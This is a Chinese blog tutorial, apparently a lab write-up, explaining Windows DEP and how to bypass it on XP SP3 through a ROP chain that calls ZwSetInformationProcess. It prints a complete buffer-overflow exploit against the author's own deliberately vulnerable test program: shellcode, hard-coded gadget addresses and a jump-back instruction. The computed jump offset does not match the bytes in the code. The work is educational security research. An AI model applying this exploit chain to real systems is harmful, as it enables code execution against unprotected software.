1. 程式人生 > >內存保護機制及繞過方法——利用Ret2Libc繞過DEP之ZwSetInformationProcess函數

內存保護機制及繞過方法——利用Ret2Libc繞過DEP之ZwSetInformationProcess函數

運行 RoCE 漏洞利用 exec 執行 工作原理 序列 roc 修改

1. DEP內存保護機制

1.1 DEP工作原理

分析緩沖區溢出攻擊,其根源在於現代計算機對數據和代碼沒有明確區分這一先天缺陷,就目前來看重新去設計計算機體系結構基本上是不可能的,我們只能靠向前兼容的修補來減少溢出帶來的損害,數據執行保護DEP就是用來彌補計算機對數據和代碼混淆這一天然缺陷的。

DEP的基本原理是將數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時(註1),程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。如下圖所示。

技術分享圖片

DEP的主要作用是阻止數據頁(如默認的堆頁、各種堆棧頁以及內存池頁)執行代碼。微軟從Windows XP SP2開始提供這種技術支持,根據實現的機制不同分為:軟件DEP(Software DEP)和硬件DEP(Hardware-enforced DEP)。

軟件DEP其實就是之前的safeSEH,與CPU硬件無關,其本質是Windows利用軟件模擬實現DEP,對操作系統提供一定的保護。

硬件DEP才是真正意義的DEP,硬件DEP需要CPU的支持,AMD和Intel都為此做了設計,AMD稱之為No-Execute Page-Protection(NX),Intel稱之為Execute Disable Bit(XD),兩者功能及工作原理在本質上是相同的。

操作系統通過設置內存頁的NX/XD屬性標記,來指明不能從該內存執行代碼。為了實現這個功能,需要在內存的頁面表(Page Table)中加入一個特殊的標識位(NX/XD)來標識是否允許在該頁上執行指令。當該標識位設置為0裏表示這個頁面允許執行指令,設置為1時表示該頁面不允許執行指令。

1.2 DEP繞過思路

i.利用未啟用DEP保護機制的模塊繞過DEP保護機制:

根據啟動參數的不同,DEP工作狀態可以分為四種:

(1)optin:默認僅將DEP保護應用於Windows系統組件和服務,對於其他程序不予保護,但用戶可以通過應用程序兼容性工具(ACT,Application Compatibility Toolkit)為選定的程序啟用DEP,在Vista下邊經過/NXcompat選項編譯過的程序將自動應用DEP.這種模式可以被應用程序動態關閉,它多用於普通用戶版的操作系統,如Windows XP、Windows Vista、Windows7.

(2)optout:為排除列表程序外的所有程序和服務啟用DEP,用戶可以手動在排除列表中指定不啟用DEP保護的程序和服務。這種模式可以被應用程序動態關閉,它多用於服務器版的操作系統,如 Windows Server 2003、Windows Server 2008.

(3)alwaysOn:對所有進程啟用DEP 的保護,不存在排序列表,在這種模式下,DEP不可以被關閉,目前只有在64位的操作系統上才工作在AlwaysOn模式。

(4)alwaysOff:對所有進程都禁用DEP,這種模式下,DEP也不能被動態開啟,這種模式一般只有在某種特定場合才使用,如DEP幹擾到程序的正常運行。

在32位機子上有很多程序是不受DEP保護機制保護的,利用這些程序中的指令可以繞過DEP,方法類似於利用未啟用safeSEH保護機制的模塊繞過safeSEH機制。

ii.利用Ret2Libc繞過DEP:

Ret2Libc是Return-to-libc的簡寫,DEP機制不允許我們在非可執行頁執行指令,那麽,我們可以為shellcode中的每條指令都在代碼區(可執行頁)中找到一條替代指令,這種指令鏈就是傳說中的ROP鏈了,通過ROP鏈就可以完成exploit了。

可以利用繞過DEP的API函數:

技術分享圖片

iii.利用可執行內存繞過DEP

有時候在進程的內存空間中會存在一段可讀可寫可執行的內存(這個就要看機緣了),如果我們能夠將shellcode復制到這段內存中,並劫持程序流程,shellcode就可以執行了。

利用Ret2Libc繞過DEP之ZwSetInformationProcess函數

⑴. 原理分析:

i.相關概念:

一個進程的DEP設置標識保存在KPROCESS結構中的_KEXECUTE_OPTIONS上(只可以用於win xp,win 2000,win 2003),而這個標識可以通過API函數ZwSetInformationProcess函數和ZwQueryInformationProcess函數進行修改和查詢。

Win XP下的KPROCESS結構:

nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x000 Header : _DISPATCHER_HEADER

······

+0x06b Flags : _KEXECUTE_OPTIONS

······

_KEXECUTE_OPTIONS選項:

+0x06b Flags : _KEXECUTE_OPTIONS
+0x000 ExecuteDisable : Pos 0, 1 Bit
+0x000 ExecuteEnable : Pos 1, 1 Bit
+0x000 DisableThunkEmulation : Pos 2, 1 Bit
+0x000 Permanent : Pos 3, 1 Bit
+0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
+0x000 ImageDispatchEnable : Pos 5, 1 Bit
+0x000 Spare : Pos 6, 2 Bits

當DEP被啟用時,ExecuteDisable 被置位,當DEP被禁用,ExecuteEnable 被置位,當Permanent 標誌置位時表示這些設置是最終設置,不可更改。

NtSetInformationProcess函數:

將NtSetInformationProcess關閉函數參數設置如下參數,就可以關閉DEP保護機制。

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
NtCurrentProcess(), // ProcessHandle = -1
ProcessExecuteFlags, // ProcessInformationClass = 0x22(ProcessExecuteFlags)
&ExecuteFlags, // ProcessInformation = 0x2(MEM_EXECUTE_OPTION_ENABLE)
sizeof(ExecuteFlags)); // ProcessInformationLength = 0x4

ii.思路分析:

通過上面相關概念的介紹,我們可以得到利用NtSetInformationProcess函數繞過DEP保護機制的思路,只要在調用NtSetInformationProcess函數之前利用ROP技術設置如上文提到參數,在調用NtSetInformationProcess函數,就可以關閉掉DEP機制了,(或者也可以查找系統中本身就又的一些關閉DEP的程序,比構造手動ROP鏈簡單,但使用版本有限制)。

⑵.環境準備:

i.實驗代碼:

#include <stdlib.h>

#include <string.h>

#include <stdio.h>

#include <windows.h>

char shellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x70\xE2\x92\x7C"//MOV EAX,1 RETN地址

"\x70\xdc\xec\x77"//將EBP指向可執行地址

"\xaa\xd3\x92\x7c"//增大ESP地址

"\x28\x4f\xc5\x7d"//jmp esp地址

"\x44\xcd\x93\x7c"//關閉DEP代碼地址

"\xe9\x33\xff\xff\xff\x90\x90\x90"//長跳指令

;

void test()

{

char tt[176];

strcpy(tt,shellcode);

}

int main()

{

HINSTANCE hInst = LoadLibrary("shell32.dll");

char temp[200];

test();

return 0;

}

ii.測試環境:

測試平臺:window xp with sp3(win7 上找不到可以利用的map文件)。

啟用DEP保護機制:

技術分享圖片

編譯環境:

為了避免其他保護機制的影響,直接用visual c++ 6.0編譯。

⑶.調試分析:

找到存在溢出的函數strcpy:

技術分享圖片

緩沖區起點:0x0012fdfc

溢出點(函數返回地址):0x0012feb0

技術分享圖片

⑷.攻擊過程:

i.確定覆蓋面積:

覆蓋面積 = 函數返回地址–緩沖區起始地址 + 4 = 0xB8 = 184(字節)

ii.編寫payload(彈框):

這裏偷懶,直接用了網上的,當然也可以用msfevon生成。

iii.查找系統中可能的關閉DEP的程序:

使用OllyFindAddr插件查找統中可能的關閉DEP的程序指令,結果如下:

技術分享圖片

結果如下:

技術分享圖片

得到的關閉DEP的程序指令起始地址:

0x7c93cd44

iii.了解關閉過程:

那麽,接著上一步,我們直接將函數的返回地址覆蓋成關閉DEP的程序指令起始地址,之後再跳轉回去執行我們的惡意代碼,就可以了???

答案當然是NO,

這裏我們已經找到了這段關閉DEP的程序代碼,但是,我們的攻擊還是失敗了,這就要分析一下這段代碼是這門關閉DEP的,需要什麽參數,是不是我們的命令不全,導致這個漏洞利用失敗了。

觀察程序,

技術分享圖片

只有在al = 1的時候,這個關閉DEP的程序才會繼續執行下去,所以,就需要在調用這段程序之前,將eax的值賦為1。

這裏在可執行區域查找指令得到指令(OllyFindAddr插件搜索結果的step2),得到指令地址0x7c92e270

將這個地址寫在調用DEP關閉程序之前,那豈不是就OK了?

iv,調整ebp:

第iii步的執行結果如下:

技術分享圖片

哇???這?為什麽?

因為我們的shellcode在覆蓋的時候把棧的將來要EBP的地址覆蓋掉了,而關閉程序中會以ebp為基址寫入參數:

技術分享圖片

這個時候程序就崩潰了,我們覆蓋的地址是沒有寫入權限的啊,,,

怎麽辦?

在執行關閉代碼之前將ebp指向一個可以寫的地址,怎麽找?

在(OllyFindAddr插件搜索結果的step3)就有一些可以利用的指令地址,但是根據現場寄存器的情況可以得出,只有ESP保存的地址是可以寫入的,所以就要ESP的地址寫入到EBP中,指令:PUSH ESP POP EBP RET 4 ,PUSH ESP POP EBP指令將ESP的值寫入到EBP中,esp值增加8字節。

所以在修正ebp指令的地址之後8字節處寫入關閉DEP機制的程序地址,之後再寫入跳轉指令,跳回payload就可以了?

v.增大ESP:

上一步的運行結果如下:

技術分享圖片

?為什麽?

因為,當執行關閉DEP的程序的時候,入棧的參數把返回這個程序的返回地址覆蓋掉了,,,

觀察參數入棧操作:

技術分享圖片

直接壓入棧頂,和EBP沒有關系,所以,這個時候,要想使參數不能覆蓋掉返回地址,就需要將棧頂擡高:

查找指令 retn 0x28

將這個指令的地址寫在調用關閉DEP程序指令地址(0x0012fec0)之前,為了達到控制EIP的目的,要對關閉DEP的程序的返回地址進行控制,可以看到返回地址位於棧0x0012febc處,返回後端棧頂值為0x0012fec4。所以就可在Ox0012febc處寫入指令jmp esp的地址*(直接查找就可以),在0x0012febc處輸入跳轉指令。

技術分享圖片

vi.計算跳轉指令

payload起始地址 = 0x0012fdfc

跳轉起始地址 = 0x0012fec4

跳轉距離 = 跳轉起始地址 - payload起始地址 – 指令長度(5)= ffffff38

跳轉指令:E938ffffff

vii.Shellcode結構:

技術分享圖片

viii.運行結果:

技術分享圖片

成功。

內存保護機制及繞過方法——利用Ret2Libc繞過DEP之ZwSetInformationProcess函數